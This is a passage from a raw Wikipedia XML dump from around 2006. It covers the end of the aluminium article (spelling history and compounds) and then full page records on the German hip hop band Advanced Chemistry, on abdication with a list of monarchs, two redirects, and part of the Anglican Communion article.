In [[1808]], [[Humphry Davy]] originally proposed the name ''alumium'' while trying to isolate the new metal electrolytically from the mineral ''[[alumina]]''. In [[1812]] he changed the name to ''aluminum'' to match its [[Latin]] root. The same year, an anonymous contributor to the ''Quarterly Review'' objected to ''aluminum'', and proposed the name ''aluminium''.
&lt;blockquote&gt;
Aluminium, for so we shall take the liberty of writing the word, in preference to aluminum, which has a less classical sound. (Q. Review VIII. 72, 1812)
&lt;/blockquote&gt;
This had the advantage of conforming to the -ium suffix precedent set by other newly discovered elements of the period: [[potassium]], [[sodium]], [[magnesium]], [[calcium]], and [[strontium]] (all of which Davy had isolated himself). Nevertheless, -um spellings for elements were not unknown at the time: [[platinum]], which had been known to Europeans since the 16th century, [[molybdenum]], which was discovered in 1778, and [[tantalum]], which was discovered in 1802, all have spellings ending in -um. 

The United States adopted the -ium for most of the [[19th century]] with ''aluminium'' appearing in [[Noah Webster|Webster]]'s Dictionary of 1828. However in 1892 [[Charles Martin Hall]] used the -um spelling in an advertising handbill for his new efficient electrolytic method for the production of aluminium, despite using the -ium spelling in all of his patents filed between 1886 and 1903. It has consequently been suggested that the spelling on the flyer was a simple spelling mistake rather than a deliberate choice to use the -um spelling. Hall's domination of production of the metal ensured that the spelling ''aluminum'' became the standard in North America, even though the ''Webster Unabridged Dictionary'' of 1913 continued to use the -ium version.

In 1926, the [[American Chemical Society]] officially decided to use ''aluminum'' in its publications, and American dictionaries typically label the spelling ''aluminium'' as a British variant.

===Present-day spelling===
In the English-speaking world, the spellings (and associated pronunciations) ''aluminium'' and ''aluminum'' are both in common use in scientific and nonscientific contexts. In the United States, the spelling ''aluminium'' is largely unknown, and the spelling ''aluminum'' predominates. Elsewhere in the English-speaking world the spelling ''aluminium'' predominates, and the spelling ''aluminum'' is largely unknown. However, in Canada both spellings are common, due to the multiple influences on the language of its proximity to the United States, its British colonial past and the large number of native French speakers.

Outside English, the &quot;ium&quot; spelling is widespread: the word is ''aluminium'' in [[French language|French]], ''Aluminium'' in [[German language|German]], and identical or similar forms are used in many other languages. Consequently it is the more common of the two spellings in global terms, even though there may be more users of ''aluminum'' in the English-speaking world.

The [[International Union of Pure and Applied Chemistry]] (IUPAC) adopted ''aluminium'' as the standard international name for the element in 1990, but three years later recognised ''aluminum'' as an acceptable variant. Hence their periodic table includes both, but places aluminium first [http://www.iupac.org/reports/periodic_table/index.html].  IUPAC officially prefers the use of aluminium in its internal publications, although several IUPAC publications use the spelling ''aluminum.''[http://www.iupac.org/cgi-bin/htsearch?sort=score&amp;restrict=www.iupac.org%2Fpublications%2Fci&amp;config=htdig&amp;restrict=&amp;exclude=www.iupac.org%2Fgoldbook%2F&amp;words=aluminum&amp;submit=]

==Chemistry==
===Oxidation state 1===
*AlH is produced when aluminium is heated at 1500 °C in an atmosphere of [[hydrogen]].
*Al&lt;sub&gt;2&lt;/sub&gt;O is made by heating the normal oxide, Al&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;, with [[silicon]] at 1800 °C in a [[vacuum]].
*Al&lt;sub&gt;2&lt;/sub&gt;S can be made by heating Al&lt;sub&gt;2&lt;/sub&gt;S&lt;sub&gt;3&lt;/sub&gt; with aluminium shavings at 1300 °C in a vacuum. It quickly disproportionates to the starting materials. The selenide is made in a parallel manner.
*AlF, AlCl and AlBr exist in the gaseous phase when the tri-halide is heated with aluminium.

===Oxidation state 2===
*Aluminium suboxide, AlO can be shown to be present when aluminium powder burns in oxygen.

===Oxidation state 3===
*[[Fajans rules]] show that the simple trivalent cation Al&lt;sup&gt;3+&lt;/sup&gt; is not expected to be found in anhydrous salts or binary compounds such as Al&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;. The hydroxide is a weak base and aluminium salts of weak bases, such as carbonate, can't be prepared. The salts of strong acids, such as nitrate, are stable and soluble in water, forming hydrates with at least six molecules of [[water of crystallization]].
*Aluminium hydride, (AlH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;n&lt;/sub&gt;, can be produced from [[trimethylaluminium]] and an excess of hydrogen. It burns explosively in air. It can also be prepared by the action of [[aluminium chloride]] on lithium hydride in ether solution, but cannot be isolated free from the solvent.
*Aluminium carbide, Al&lt;sub&gt;4&lt;/sub&gt;C&lt;sub&gt;3&lt;/sub&gt; is made by heating a mixture of the elements above 1000 °C. The pale yellow crystals have a complex lattice structure, and react with water or dilute acids to give [[methane]]. The acetylide, Al&lt;sub&gt;2&lt;/sub&gt;(C&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;, is made by passing [[acetylene]] over heated aluminium.
*Aluminium nitride, AlN, can be made from the elements at 800 °C. It is hydrolysed by water to form [[ammonia]] and aluminium hydroxide.
*Aluminium phosphide, AlP, is made similarly, and hydrolyses to give [[phosphine]].
*Aluminium oxide, Al&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;, occurs naturally as [[corundum]], and can be made by burning aluminium in oxygen or by heating the hydroxide, nitrate or sulfate. As a [[gemstone]], its hardness is only exceeded by [[diamond]], [[boron nitride]] and [[carborundum]]. It is almost insoluble in water.
*Aluminium hydroxide may be prepared as a gelatinous precipitate by adding ammonia to an aqueous solution of an aluminium salt. It is [[amphoteric]], being both a very weak acid, and forming aluminates with [[alkali]]s. It exists in various crystalline forms.
*Aluminium sulfide, Al&lt;sub&gt;2&lt;/sub&gt;S&lt;sub&gt;3&lt;/sub&gt;, may be prepared by passing [[hydrogen sulfide]] over aluminium powder. It is [[polymorphic]].
*Aluminium fluoride, AlF&lt;sub&gt;3&lt;/sub&gt;, is made by treating the hydroxide with HF, or can be made from the elements. It consists of a giant molecule which sublimes without melting at 1291 °C. It is very inert. The other trihalides are dimeric, having a bridge-like structure.
*Organo-metallic compounds of empirical formula AlR&lt;sub&gt;3&lt;/sub&gt; exist and, if not also giant molecules, are at least [[dimer]]s or trimers. They have some uses in [[organic synthesis]], for instance [[trimethylaluminium]].
*Alumino-hydrides of the most electropositive elements are known, the most useful being [[lithium aluminium hydride]], Li[AlH&lt;sub&gt;4&lt;/sub&gt;]. It decomposes into lithium hydride, aluminium and hydrogen when heated, and is hydrolysed by water. It has many uses in organic chemistry, particularly as a reducing agent. The aluminohalides have a similar structure.

==Aluminium in popular culture==
* In the film ''[[Star Trek IV: The Voyage Home]]'', [[Montgomery Scott|Scotty]] devises the fictional material [[transparent aluminum]].

==See also==
* [[List of alloys#Alloys of aluminium|Alloys of aluminium]].

==References==
&lt;references/&gt;
*[http://periodic.lanl.gov/elements/13.html Los Alamos National Laboratory &amp;ndash; Aluminum]
*[http://www.worldwidewords.org/articles/aluminium.htm World Wide Words] A history of the spelling of aluminium from a British viewpoint.
*[[Oxford English Dictionary]] Entries &quot;aluminum&quot; and &quot;aluminium&quot;, available by subscription.  [http://www.oed.com]

==External links==
{{Commons|Aluminium}}
*[http://www.webelements.com/webelements/elements/text/Al/index.html WebElements.com &amp;ndash; Aluminium]
*[http://www.world-aluminium.org/ World Aluminium]
*[http://www.indexmundi.com/en/commodities/minerals/aluminum/aluminum_table12.html World production of primary aluminum, by country]
*[http://www.saanet.org/kashipur/docs/seenalum.htm Social and Environmental Impact of the Aluminium Industry]
*[http://sam.davyson.com/as/physics/aluminium/normal/redirect.html Sam's Aluminium Information Site]
*[http://www.world-aluminium.org/history/index.html History of Aluminium]

'''Patents'''
*US[http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PALL&amp;p=1&amp;u=/netahtml/srchnum.htm&amp;r=1&amp;f=G&amp;l=50&amp;s1=400664.WKU.&amp;OS=PN/400664&amp;RS=PN/400664 400664] – ''Process of reducing aluminum from its floride salts by electrolysis'' – C. M. Hall

[[Category:Chemical elements]]
[[Category:Poor metals]]
[[Category:Inorganic pigments]]
[[Category:Pyrotechnic chemicals]]
[[Category:Rocket fuels]]
[[Category:Structural engineering]]
{{Link FA|fr}}

[[af:Aluminium]]
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[[de:Aluminium]]
[[et:Alumiinium]]
[[es:Aluminio]]
[[eo:Aluminio]]
[[fr:Aluminium]]
[[gd:Alman]]
[[gl:Aluminio (elemento)]]
[[ko:알루미늄]]
[[hr:Aluminij]]
[[io:Aluminio]]
[[id:Aluminium]]
[[is:Ál]]
[[it:Alluminio]]
[[he:אלומיניום]]
[[ku:Bafûn]]
[[la:Aluminium]]
[[lv:Alumīnijs]]
[[lt:Aliuminis]]
[[lb:Aluminium]]
[[hu:Alumínium]]
[[mi:Konumohe]]
[[nl:Aluminium]]
[[ja:アルミニウム]]
[[no:Aluminium]]
[[nn:Aluminium]]
[[pl:Glin]]
[[pt:Alumínio]]
[[ru:Алюминий]]
[[simple:Aluminium]]
[[sl:Aluminij]]
[[sr:Алуминијум]]
[[fi:Alumiini]]
[[sv:Aluminium]]
[[th:อะลูมิเนียม]]
[[vi:Nhôm]]
[[uk:Алюміній]]
[[zh:铝]]</text>
    </revision>
  </page>
  <page>
    <title>Advanced Chemistry</title>
    <id>905</id>
    <revision>
      <id>40787499</id>
      <timestamp>2006-02-23T00:40:33Z</timestamp>
      <contributor>
        <username>Bobby1011</username>
        <id>278977</id>
      </contributor>
      <comment>Discography added.</comment>
      <text xml:space="preserve">'''Advanced Chemistry''' are a German [[hip hop music|hip hop]] [[band (music)|band]] from Heidelberg.  Members include [[Toni L]], [[Linguist (rapper)|Linguist]], [[Torch (rapper)|Torch]]; affiliated: [[Boulevard Bou]].

==Discography==

* [[1992]] - Fremd im eigenen Land (12&quot;/MCD, MZEE)
* [[1993]] - Welcher Pfad führt zur Geschichte (12&quot;/MCD, MZEE)
* [[1994]] - Operation § 3 (12&quot;/MCD)
* [[1994]] - Dir fehlt der Funk! (12&quot;/MCD)
* [[1995]] - Advanced Chemistry (2xLP/CD)

{{Germany-band-stub}}

[[Category:Hip hop groups]]
[[Category:German musical groups]]

[[als:Advanced Chemistry]]
[[de:Advanced Chemistry]]</text>
    </revision>
  </page>
  <page>
    <title>Abdication</title>
    <id>906</id>
    <revision>
      <id>39146722</id>
      <timestamp>2006-02-11T00:34:19Z</timestamp>
      <contributor>
        <username>Tokle</username>
        <id>199106</id>
      </contributor>
      <minor />
      <comment>+no</comment>
      <text xml:space="preserve">{{Wiktionary|abdication}}

'''Abdication''' (from the [[Latin]] ''abdicatio'', disowning, renouncing, from ''ab'', from, and ''dicare'', to declare, to proclaim as not belonging to one) is the act of renouncing and resigning from a formal office, especially from the supreme office of [[state]].  (In [[Roman law]] the term was also applied to the disowning of a family member, as the disinheriting of a son.) A similar term for an elected or appointed official is [[resignation]].

==Abdications in Classical Antiquity==
Among the most memorable abdications of antiquity were those of [[Lucius Cornelius Sulla]] the [[Roman Dictator|Dictator]] in [[79 BC]], [[Roman Emperor|Emperor]] [[Diocletian]] in [[305|AD 305]], and Emperor [[Romulus Augustus]] in [[476|AD 476]].

==The British Crown==
Probably the most famous abdication in recent memory is that of King [[Edward VIII of the United Kingdom]] in [[1936]].  Edward abdicated the British throne in order to marry American divorcée [[Wallis Simpson]], over the objections of the British establishment, the governments of the [[Commonwealth]], the royal family and the [[Church of England]].  (''See'' [[Abdication Crisis of Edward VIII]].)  This was also the first time in history that the British crown was surrendered entirely voluntarily.  [[Richard II of England]], for example, was forced to abdicate after the throne was seized by his cousin, Henry Bolingbroke, while Richard was out of the country.

When [[James II of England]], after throwing the [[Great Seal of the Realm]] into the [[Thames]], fled to [[France]] in [[1688]], he did not formally resign the crown, and the question was discussed in Parliament whether he had forfeited the throne or had abdicated.  The latter designation was agreed upon, for in a full assembly of the Lords and Commons, met in convention, it was resolved in spite of James's protest &quot;''that King James II having endeavoured to subvert the constitution of the kingdom, by breaking the original contract between king and people, and, by the advice of [[Jesuits]] and other wicked persons, having violated the fundamental laws, and having withdrawn himself out of this kingdom, has abdicated the government, and that the throne is thereby vacant.''&quot;  The [[Scottish parliament]] pronounced a decree of [[forfeiture]] and [[deposition]].  

Because the title to the Crown depends upon [[statute]], particularly the [[Act of Settlement 1701]], a Royal Abdication can only be effected by an [[Act of Parliament]]. To give legal effect to the abdication of King [[Edward VIII of the United Kingdom]], His Majesty's Declaration of Abdication Act 1936 was passed.

==Modern abdications==
Historically, if a monarch abdicated it was seen as a profound and shocking abandonment of royal duty. As a result, abdications usually only occurred in the most extreme circumstances of political turmoil or violence. This has changed in a small number of countries: the monarchs of the [[Netherlands]], [[Luxembourg]] and [[Cambodia]] have abdicated as a result of old age. Prince [[Hans-Adam II of Liechtenstein]] recently made his son [[regent]], an act which amounted to an abdication in fact if not in law.

==List==
The following is a list of the important abdications:
{| border=&quot;0&quot; cellpadding=&quot;0&quot;
|-
| align=&quot;left&quot; | [[Lucius Cornelius Sulla]]
| align=&quot;right&quot; | [[79 BC]]
|-
| align=&quot;left&quot; | [[Diocletian]] || align=&quot;right&quot; | [[305|AD 305]]
|-
| align=&quot;left&quot; | [[Pope Benedict IX]]               
| align=&quot;right&quot; | 1048
|-
| align=&quot;left&quot; | [[Isaac I Comnenus]] || align=&quot;right&quot; | 1059
|-
| align=&quot;left&quot; | [[Emperor Huizong of Song China]]       
| align=&quot;right&quot; | [[January 18]], [[1126]]
|-
| align=&quot;left&quot; | [[Stephen II of Hungary]]       
| align=&quot;right&quot; | 1131
|-
| align=&quot;left&quot; | [[Albert I of Brandenburg]]
| align=&quot;right&quot; | 1169
|-
| align=&quot;left&quot; | [[Ladislaus III]] of [[Poland]]     
| align=&quot;right&quot; | 1206
|-
| align=&quot;left&quot; | [[Pope Celestine V]]           
| align=&quot;right&quot; | [[December 13]], [[1294]]
|-
| align=&quot;left&quot; | [[John Baliol of Scotland]]     
| align=&quot;right&quot; | 1296
|-
| align=&quot;left&quot; | [[John Cantacuzene]], emperor of the East
| align=&quot;right&quot; | 1355
|-
| align=&quot;left&quot; | [[Richard II of England]]       
| align=&quot;right&quot; | [[September 29]], [[1399]]
|-
| align=&quot;left&quot; | [[Antipope John XXIII|Baldassare Cossa, Antipope John XXIII]]            
| align=&quot;right&quot; | 1415
|-
| align=&quot;left&quot; | [[Eric VII of Denmark|Eric VII of Denmark or Erik XIII of Sweden]]
| align=&quot;right&quot; | 1439
|-
| align=&quot;left&quot; | [[Amadeus VIII of Savoy]]
| align=&quot;right&quot; | 1440
|-
| align=&quot;left&quot; | [[Murad II]], [[Ottoman Empire|Ottoman]] Sultan        
| align=&quot;right&quot; | 1444 and 1445
|-
| align=&quot;left&quot; | [[Charles V, Holy Roman Emperor]] &lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;
| align=&quot;right&quot; | 1555-[[1556]]
|-
| align=&quot;left&quot; | [[Christina of Sweden]]
| align=&quot;right&quot; | [[June 6]], [[1654]]
|-
| align=&quot;left&quot; | [[Mary I of Scotland|Mary Queen of Scots]]
| align=&quot;right&quot; | [[July 24]], [[1567]]
|-
| align=&quot;left&quot; | [[John II of Poland|John Casimir of Poland]]   
| align=&quot;right&quot; | 1668
|-
| align=&quot;left&quot; | [[James II of England]]         
| align=&quot;right&quot; | 1688
|-
| align=&quot;left&quot; | [[Frederick Augustus I of Poland|Frederick Augustus of Poland]]        
| align=&quot;right&quot; | 1706
|-
| align=&quot;left&quot; | [[Philip V of Spain]]                   
| align=&quot;right&quot; | 1724
|-
| align=&quot;left&quot; | [[Victor Amadeus II of Savoy|Victor Amadeus]] of [[Sardinia]]       
| align=&quot;right&quot; | 1730
|-
| align=&quot;left&quot; | Ahmed III, Ottoman Sultan         
| align=&quot;right&quot; | 1730
|-
| align=&quot;left&quot; | Charles of Naples (on accession to throne of Spain)
| align=&quot;right&quot; | 1759
|-
| align=&quot;left&quot; | [[Stanislaus II of Poland]]             
| align=&quot;right&quot; | 1795
|-
| align=&quot;left&quot; | [[Qianlong Emperor of China]]             
| align=&quot;right&quot; | [[February 9]], [[1796]]
|-
| align=&quot;left&quot; | [[Charles Emmanuel IV of Savoy|Charles Emanuel IV]] of [[Sardinia]]      
| align=&quot;right&quot; | [[June 4]], [[1802]]
|-
| align=&quot;left&quot; | [[Charles IV of Spain]]                 
| align=&quot;right&quot; | [[March 19]], [[1808]]
|-
| align=&quot;left&quot; | Joseph Bonaparte of Naples          
| align=&quot;right&quot; | [[June 6]], [[1808]]
|-
| align=&quot;left&quot; | [[Gustav IV of Sweden]]               
| align=&quot;right&quot; | [[March 29]], [[1809]]
|-
| align=&quot;left&quot; | Louis Bonaparte of [[Kingdom of Holland|Holland]]
| align=&quot;right&quot; | [[July 2]], [[1810]]
|-
| align=&quot;left&quot; | [[Napoleon I of France|Napoleon I, French Emperor]]          
| align=&quot;right&quot; | [[April 4]], [[1814]], and [[June 22]], [[1815]]
|-
| align=&quot;left&quot; | [[Victor Emmanuel I of Savoy|Victor Emanuel]] of [[Sardinia]]          
| align=&quot;right&quot; | [[March 13]], [[1821]]
|-
| align=&quot;left&quot; | [[Charles X of France]]                 
| align=&quot;right&quot; | [[August 2]], [[1830]]
|-
| align=&quot;left&quot; | [[Peter IV of Portugal|Pedro IV of Portugal]] &lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;        
| align=&quot;right&quot; | [[May 28]], [[1826]]
|-
| align=&quot;left&quot; | [[Peter I of Brazil|Pedro I of Brazil]] &lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;        
| align=&quot;right&quot; | [[April 7]], [[1831]]
|-
| align=&quot;left&quot; | [[Miguel of Portugal]]                  
| align=&quot;right&quot; | [[May 26]], [[1834]]
|-
| align=&quot;left&quot; | [[William I of the Netherlands|William I]] of the [[Netherlands]]
| align=&quot;right&quot; | [[October 7]], [[1840]]
|-
| align=&quot;left&quot; | [[Louis-Philippe of France|Louis Philippe, King of the French]]  
| align=&quot;right&quot; | [[February 24]], [[1848]]
|-
| align=&quot;left&quot; | [[Ludwig I of Bavaria|Louis Charles of Bavaria]]            
| align=&quot;right&quot; | [[March 21]], [[1848]]
|-
| align=&quot;left&quot; | [[Ferdinand I of Austria|Ferdinand of Austria]]                
| align=&quot;right&quot; | [[December 2]], [[1848]]
|-
| align=&quot;left&quot; | [[Charles Albert of Savoy|Charles Albert]] of [[Sardinia]]          
| align=&quot;right&quot; | [[March 23]], [[1849]]
|-
| align=&quot;left&quot; | Leopold II of [[Tuscany]]               
| align=&quot;right&quot; | [[July 21]], [[1859]]
|-
| align=&quot;left&quot; | [[Isabella II of Spain]]                
| align=&quot;right&quot; | [[June 25]], [[1870]]
|-
| align=&quot;left&quot; | [[Amadeus I of Spain]]                  
| align=&quot;right&quot; | [[February 11]], [[1873]]
|-
| align=&quot;left&quot; | [[Alexander of Bulgaria]]               
| align=&quot;right&quot; | [[September 7]], [[1886]]
|-
| align=&quot;left&quot; | [[Milan II of Serbia|Milan of Serbia]]          
| align=&quot;right&quot; | [[March 6]], [[1889]]
|-
| align=&quot;left&quot; | [[Liliuokalani|Lili{{okina}}uokalani of Hawai{{okina}}i]]
| align=&quot;right&quot; | [[January 17]], [[1893]] (monarchy abolished)
|-
| align=&quot;left&quot; | [[Ai-xin-jue-luo Pu-yi|Xuantong Emperor of China]]          
| align=&quot;right&quot; | [[February 12]], [[1912]] (monarchy abolished)
|-
| align=&quot;left&quot; | [[Nicholas II of Russia]] 
| align=&quot;right&quot; | [[March 15]], [[1917]] (monarchy abolished)          
|-
| align=&quot;left&quot; | [[Wilhelm II of Germany]] 
| align=&quot;right&quot; | [[November 9]], [[1918]] (monarchy abolished)
|-
| align=&quot;left&quot; | [[Prajadhipok|Prajadhipok of Siam]]      
| align=&quot;right&quot; | [[March 2]], [[1935]]
|-
| align=&quot;left&quot; | [[Edward VIII of the United Kingdom]]          
| align=&quot;right&quot; | [[December 11]], [[1936]]
|-
| align=&quot;left&quot; | [[Carol II of Romania]]          
| align=&quot;right&quot; | [[September 6]], [[1940]]
|-
| align=&quot;left&quot; | [[Victor Emmanuel III of Italy]]      
| align=&quot;right&quot; | [[May 9]], [[1946]]
|-
| align=&quot;left&quot; | [[Wilhelmina of the Netherlands]]          
| align=&quot;right&quot; | [[September 4]], [[1948]]
|-
| align=&quot;left&quot; | [[Léopold III of Belgium|Léopold III, King of the Belgians]]
| align=&quot;right&quot; | [[July 16]], [[1951]]
|-
| align=&quot;left&quot; | [[Farouk I of Egypt]]
| align=&quot;right&quot; | [[July 26]], [[1952]]
|-
| align=&quot;left&quot; | [[Fuad II of Egypt]]
| align=&quot;right&quot; | [[June 18]], [[1953]] (Monarchy abolished)
|-
| align=&quot;left&quot; | [[Juliana of the Netherlands]]          
| align=&quot;right&quot; | [[April 30]], [[1980]]
|-
| align=&quot;left&quot; | [[Jean of Luxembourg]]          
| align=&quot;right&quot; | [[October 7]], [[2000]]
|-
| align=&quot;left&quot; | [[Hans-Adam II of Liechtenstein]]&lt;sup&gt;[[#Notes|3]]&lt;/sup&gt;
| align-&quot;right&quot; | [[August 15]], [[2004]] (Made his son regent)
|-
| align=&quot;left&quot; | [[Norodom Sihanouk]] of [[Cambodia]]
| align=&quot;right&quot; | [[October 7]], [[2004]]
|-
| align=&quot;left&quot; | [[Saad Al-Abdullah Al-Salim Al-Sabah]] of [[Kuwait]]
| align=&quot;right&quot; | [[January 23]], [[2006]]
|}

==Notes==
&lt;sup&gt;1&lt;/sup&gt;Charles abdicated as lord of the [[Netherlands]] ([[October 25]], [[1555]]) and king of [[Spain]] ([[January 16]], [[1556]]), in favor of his son [[Philip II of Spain]]. Also in 1556 he separately voluntarily abdicated his German possessions and the title of [[Holy Roman Emperor]].&lt;br /&gt;
&lt;sup&gt;2&lt;/sup&gt;Pedro IV of Portugal and Pedro I of Brazil were the same person. He was already Emperor of Brazil when he succeeded to the throne of Portugal in 1826, but abdicated it at once in favour of his daughter [[Maria II of Portugal]]. Later he abdicated the throne of Brazil in favor of his son [[Pedro II of Brazil|Pedro II]]. &lt;br /&gt;
&lt;sup&gt;3&lt;/sup&gt;Hans-Adam II made his son [[Alois of Liechtenstein|Alois]] regent, effectively abdicating; however, he still remains the formal Head of State.

==See also==
{{Wikisource1911Enc|Abdication}}
*[[Lists of incumbents]]
*[[List of monarchs who lost their thrones or abdicated in the 20th century]]
*[[Papal abdication]]
*[[The Great Abdication]]

==References==
* Public domain 1911 edition of ''The New Century Book of Facts'' published by the King-Richardson Company, Springfield, Massachusetts.

[[Category:Monarchy]]

[[bg:Абдикация]]
[[de:Abdikation]]
[[eo:Abdiko]]
[[es:Abdicación]]
[[fr:Abdication]]
[[hr:Abdikacija]]
[[nl:Abdicatie]]
[[no:Abdikasjon]]
[[pl:Abdykacja]]
[[ru:Абдикация]]
[[sv:Abdikation]]</text>
    </revision>
  </page>
  <page>
    <title>Awk</title>
    <id>907</id>
    <revision>
      <id>15899420</id>
      <timestamp>2002-11-04T17:01:04Z</timestamp>
      <contributor>
        <username>Malcolm Farmer</username>
        <id>135</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[AWK programming language]]</text>
    </revision>
  </page>
  <page>
    <title>AgoraNomic</title>
    <id>908</id>
    <revision>
      <id>15899421</id>
      <timestamp>2003-06-08T23:53:32Z</timestamp>
      <contributor>
        <username>Eloquence</username>
        <id>52</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Nomic]]</text>
    </revision>
  </page>
  <page>
    <title>Anglican Communion</title>
    <id>909</id>
    <revision>
      <id>41933843</id>
      <timestamp>2006-03-02T18:53:26Z</timestamp>
      <contributor>
        <username>Batmanand</username>
        <id>131948</id>
      </contributor>
      <comment>/* What holds the Communion together? */  removed &quot;- -&quot;</comment>
      <text xml:space="preserve">[[Image:CompassRose.gif|thumb|The Anglican Communion uses the [[compass rose]] as its symbol, signifying its worldwide reach and decentralized nature. It is surmounted, like ecclesiastical coats of arms, by a bishop's [[mitre]]; in the center is a [[St. George's cross | cross of St. George]] recalling the communion's origins in the [[Church of England]]. The [[Greek language | Greek]] motto, &amp;#7977; &amp;#7936;&amp;lambda;&amp;#942;&amp;theta;&amp;epsilon;&amp;iota;&amp;alpha; &amp;#7952;&amp;lambda;&amp;epsilon;&amp;upsilon;&amp;theta;&amp;epsilon;&amp;rho;&amp;#974;&amp;sigma;&amp;epsilon;&amp;iota; &amp;#8017;&amp;mu;&amp;#8118;&amp;sigmaf; (&quot;The truth will set you free&quot;) is a quotation from [[Gospel of John|John]] 8:32.]]

The '''Anglican Communion''' is a world-wide organisation of [[Anglican]] Churches. There is no single &quot;Anglican Church&quot; since each national or regional church has full autonomy; as the name suggests, rather, the Anglican ''Communion'' is an association of these churches in [[full communion]] with each other and particularly with the [[Church of England]], which may be regarded as the &quot;mother church&quot; of the worldwide communion. 

As a result, all [[rite]]s conducted in one member church are recognised by the others.  Some of these churches are known as Anglican, explicitly recognising the link to England; others, such as the American and Scottish [[Episcopal Church| Episcopal]] churches, or the [[Church of Ireland]], prefer a specific name. Each church has its own [[doctrine]] and [[liturgy]], based in most cases on that of the Church of England; and each church has its own legislative process and overall episcopal leadership from a local [[primate (religion) | primate]]. The [[Archbishop of Canterbury]], religious head of the Church of England, has no formal authority outside that country; but is recognised as a symbolic head for the worldwide communion. Among the other primates, he is ''primus inter pares'', or &quot;[[first among equals]].&quot; If the Archbishop of Canterbury is compared with other religious leaders such as the [[Pope]], therefore, it is only because of his prominent figurehead role in the media. He has no formal authority outside his own province.

Although they are not considered members, some non-Anglican bodies have entered into communion with the Anglican Communion despite having non-Anglican origins and traditions. There are also a number of Anglican-type bodies which separated from a member church of the Anglican Communion and thus are no longer in communion with the Church of England. They tend to call themselves &quot;[[Anglican continuing churches|continuing churches]].&quot;

==What holds the Communion together?==
{{Anglicanism}}
The Anglican Communion has no official legal existence nor any formal governing structure. (There is an &quot;[[Anglican Communion Office]]&quot; in London, under the aegis of the Archbishop of Canterbury; but it serves merely a supporting and organisational role.) Some have asked what holds the communion together.

The first attempt at an answer was the [[Chicago-Lambeth Quadrilateral]] of [[1888]]. Proposed by the American Episcopal Church in 1886 and adopted by the [[Lambeth Conference]] of 1888, it set out four principles for future Christian unity. Although wider union has not followed, the quadrilateral has been useful within the communion itself.

The quadrilateral, according to the wording adopted in Lambeth ([http://anglicansonline.org/basics/Chicago_Lambeth.html]), consists of:

# &quot;The Holy Scriptures of the [[Old Testament | Old]] and [[New Testament]]s, as 'containing all things necessary to salvation', and as being the rule and ultimate standard of faith.&quot;
# &quot;The [[Apostles' Creed]], as the Baptismal Symbol; and the [[Nicene Creed]], as the sufficient statement of the Christian faith.&quot;
# &quot;The two [[Sacrament]]s ordained by Christ Himself - Baptism and the Supper of the Lord - ministered with unfailing use of Christ's words of Institution, and of the elements ordained by Him.&quot;
# &quot;The Historic [[bishop|Episcopate]], locally adapted in the methods of its administration to the varying needs of the nations and peoples called of God into the Unity of His Church.&quot;

This, then, is the theoretical basis for unity. But what holds it together organisationally? In the last few years people have began to refer to four &quot;Instruments of Unity&quot;, which are effectively symbols to which all the churches of the communion can feel tied. In order of antiquity, they are:

* The [[Archbishop of Canterbury]] (''ab origine'')
* The [[Lambeth Conference]] (first held in [[1867]])
* The [[Anglican Consultative Council]] (first met in [[1971]])
* The [[Anglican Communion Primates' Meeting | Primates' Meeting]] (first met in [[1979]])

Since each province is legally independent and free to chart its own course, the stress on these instruments of unity can easily be imagined. In recent years, for example, some Anglicans (particularly in Africa and Asia) have been displeased with the American and Canadian branches, upset by their welcoming attitudes towards homosexuals, and by the confident way the changes have been made &amp;mdash; the conservatives condemned the action as unilateral and called for wider consultation within the communion before such steps were taken. After the North American churches reaffirmed their belief that their actions had been righteous and &quot;prophetic&quot;, they were asked to withdraw their delegates from the 2005 meeting of the Anglican Consultative Council, although it is not clear under whose authority or by what law. They were eventually permitted at the meeting with voice, but no vote. They have not been expelled or suspended from the ''communion''; indeed, no church ever has. It is unclear how such an expulsion could ever be carried out, since the communion is not a disciplinary entity but a spiritual construct based entirely on the New Testament concept of [[koinonia]].

==Provinces of the Anglican Communion==
The term &quot;province&quot; in this context refers to national churches, many of which themselves contain several provinces in the sense of groups of dioceses presided over by an archbishop. According to the Secretariat of the Anglican Communion, currently the member churches of the Anglican Communion are as follows: 

*The [[Anglican Church in Aotearoa, New Zealand and Polynesia]]
*The [[Anglican Church of Australia]]
*The [[Church of Bangladesh]]
*The [[Episcopal Anglican Church of Brazil]]
*The [[Anglican Church of Burundi]]
*The [[Anglican Church of Canada]]
*The Church of the Province of Central Africa
*The Anglican Church in the Central Region of America
*The Church of the Province of the Congo
*The [[Church of England]]
*Hong Kong Sheng Kung Hui
*The Church of the Province of the Indian Ocean
*The [[Church of Ireland]]
*The Nippon Sei Ko Kai (The Anglican Communion in Japan)
*The [[Episcopal Church in Jerusalem and The Middle East]]
*The [[Anglican Church of Kenya]]
*The Anglican Church of Korea
*The [[Church of the Province of Melanesia]]
*The [[Anglican Church of Mexico]]
*The Church of the Province of Myanmar (Burma)
*The [[Church of Nigeria]] 
*The [[Church of North India]]   
*The [[Church of Pakistan]] 
*The [[Anglican Church of Papua New Guinea]]
*The Episcopal Church in the Philippines
*The Episcopal Church of Rwanda
*The [[Scottish Episcopal Church]]
*Church of the Province of South East Asia
*The [[Church of South India]] 
*The [[Church of the Province of Southern Africa]]
*The Anglican Church of the Southern Cone of the Americas
*The Episcopal Church of the Sudan
*The Anglican Church of Tanzania
*The Church of the Province of Uganda
*The [[Episcopal Church in the United States of America]]
*The [[Church in Wales]]
*The Church of the Province of West Africa
*The Church in the Province of the West Indies
*The [[Church of Ceylon]] (Extra-Provincial to the Archbishop of Canterbury)
*The Episcopal Church of Cuba
*Bermuda (Extra-Provincial to Canterbury)
*The [[Lusitanian Catholic Apostolic Evangelical Church]] of [[Portugal]] (Extra-Provincial to the Archbishop of Canterbury)
